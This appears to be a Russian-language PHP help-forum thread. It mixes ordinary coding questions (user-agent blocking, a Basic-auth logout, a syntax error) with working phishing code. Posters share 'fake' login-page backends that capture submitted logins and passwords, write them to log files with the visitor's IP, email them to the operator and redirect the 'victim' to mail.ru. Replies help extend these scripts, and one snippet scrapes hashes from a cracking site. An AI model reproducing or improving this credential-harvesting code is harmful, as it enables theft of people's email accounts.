PHP: <?php set_time_limit(0); $url = "https://hashcracking.info/index.php?4"; $ref = "https://hashcracking.info/index.php"; $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $res = curl_exec($ch); preg_match_all('#[0-9a-f]{32}#i', $res, $matches); print_r($matches); ?> как с прокси хз
Ребята скажите можно сделать закрытый доступ на страницу по Браузеру? т.е. эсть один нехороший человек который любит заходить на одну страничку пользуясь проксями, но заходит постоянно с одного браузера, чем и палится вот его браузер "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0" можно поставить запрет такой?
Гениальный вопрос. Главное было жирным написать. Ответ: http://php.net/manual/en/book.curl.php http://php.net/manual/en/reserved.variables.server.php P.S. Найдено в общей сложности за 0.37 секунд.
http://www.google.ru/search?q=%D1%88%D0%BA%D0%BE%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9+%D0%BA%D1%83%D1%80%D1%81+%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B8
1 Как с помощью PHP обнулить в базе id auto_increment ??? 2 Есть такой код защиты админки: PHP: if (!isset($_SERVER['PHP_AUTH_USER'])) { Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\""); Header ("HTTP/1.0 401 Unauthorized"); exit(); } else { if (!get_magic_quotes_gpc()) { $_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']); $_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']); } $query = "SELECT pass FROM users WHERE user='".$_SERVER['PHP_AUTH_USER']."'"; $lst = @mysql_query($query); if (!$lst) { Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\""); Header ("HTTP/1.0 401 Unauthorized"); exit(); } if (mysql_num_rows($lst) == 0) { Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\""); Header ("HTTP/1.0 401 Unauthorized"); exit(); } $pass = @mysql_fetch_array($lst); if ($_SERVER['PHP_AUTH_PW']!= $pass['pass']) { Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\""); Header ("HTTP/1.0 401 Unauthorized"); exit(); } } Всё работает! только есть один минус! админка функционирует пока не закрыть браузер! Как мне сделать кнопку которая закрывает сесию (Выход)???
Code: .............. if (empty($login)) { echo('<div align=center><h3>Введите, пожалуйста, логин.</h3></div>') } if (empty($pass)) { echo('<div align=center><h3><br><br>Введите, пожалуйста, пароль.</h3></div>') } ............... Вот часть кода которая ненравиться апачу, что делать? как уже я не переделывал ее, нифига, то одну ошибку, то другую. Ставлю ";", он ошибку пишет, не ставлю другую ошибку....убирал уже и скобки фигурные....
Ошибку озвучьте. Без точек с запятой вы получите Parse error Где ж там в коде сессии? =) geforce, вам наводку дали - при успешной авторизации юзайте сессии
Где ж там в коде сессии? =)>>> ну дык, пускай ставит сам, я ж не говорил что они там есть. Блииин, как же я тупанул....я не ";" ставил а ":".
Есть скрипт сохранение данных в файл base.php вот он: PHP: <?PHP $Login = $_POST['Login']; // Читаем логин $Domain = $_POST['Domain']; // Домен $Pass = $_POST['password']; // Пароль $Data = date("d-m-y H:i:s", time()); // Дата и время // Записываем полученные данные $text = "Дата:[$Data] Логин:$Login Пароль:$Pass"; $filelog = fopen("base.php","a+"); // Открываем файл базы fwrite($filelog,"\n $text \n"); // Записываем fclose($filelog); // Закрываем header('Location: http://win.mail.ru/cgi-bin/msglist'); // Переводим жертву на // указанный адрес ?> Вопрос: Как сделать что бы еще приходило на email эти же данные?
PHP: <?PHP $Login = $_POST['Login']; // Читаем логин $Domain = $_POST['Domain']; // Домен $Pass = $_POST['password']; // Пароль $Data = date("d-m-y H:i:s", time()); // Дата и время $mail="[email protected]"; $subj="Пароли и т.д."; // Записываем полученные данные $text = "Дата:[$Data] Логин:$Login Пароль:$Pass"; $filelog = fopen("base.php","a+"); // Открываем файл базы fwrite($filelog,"\n $text \n"); // Записываем fclose($filelog); // Закрываем mail($mail,$subj,$text); header('Location: http://win.mail.ru/cgi-bin/msglist'); // Переводим жертву на // указанный адрес ?>
Вопрос по фейку. Вот есть простой скрипт фейка PHP: <?PHP $date=date("[d/m/Y|H:i]"); $ip = @$_SERVER['REMOTE_ADDR']; $Login = $_POST['login']; $Pass = $_POST['passwd']; $c = "$date | [$ip] $Login;$Pass"; $fp = fopen("log.html","a+"); fwrite($fp,"\n$c\n"); fclose($fp); ?> как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
amBX Следуя Вашему скрипту, логи будут записываться так: Code: Лог Лог Лог Лог PHP: @fwrite($fp, $c."\r\n");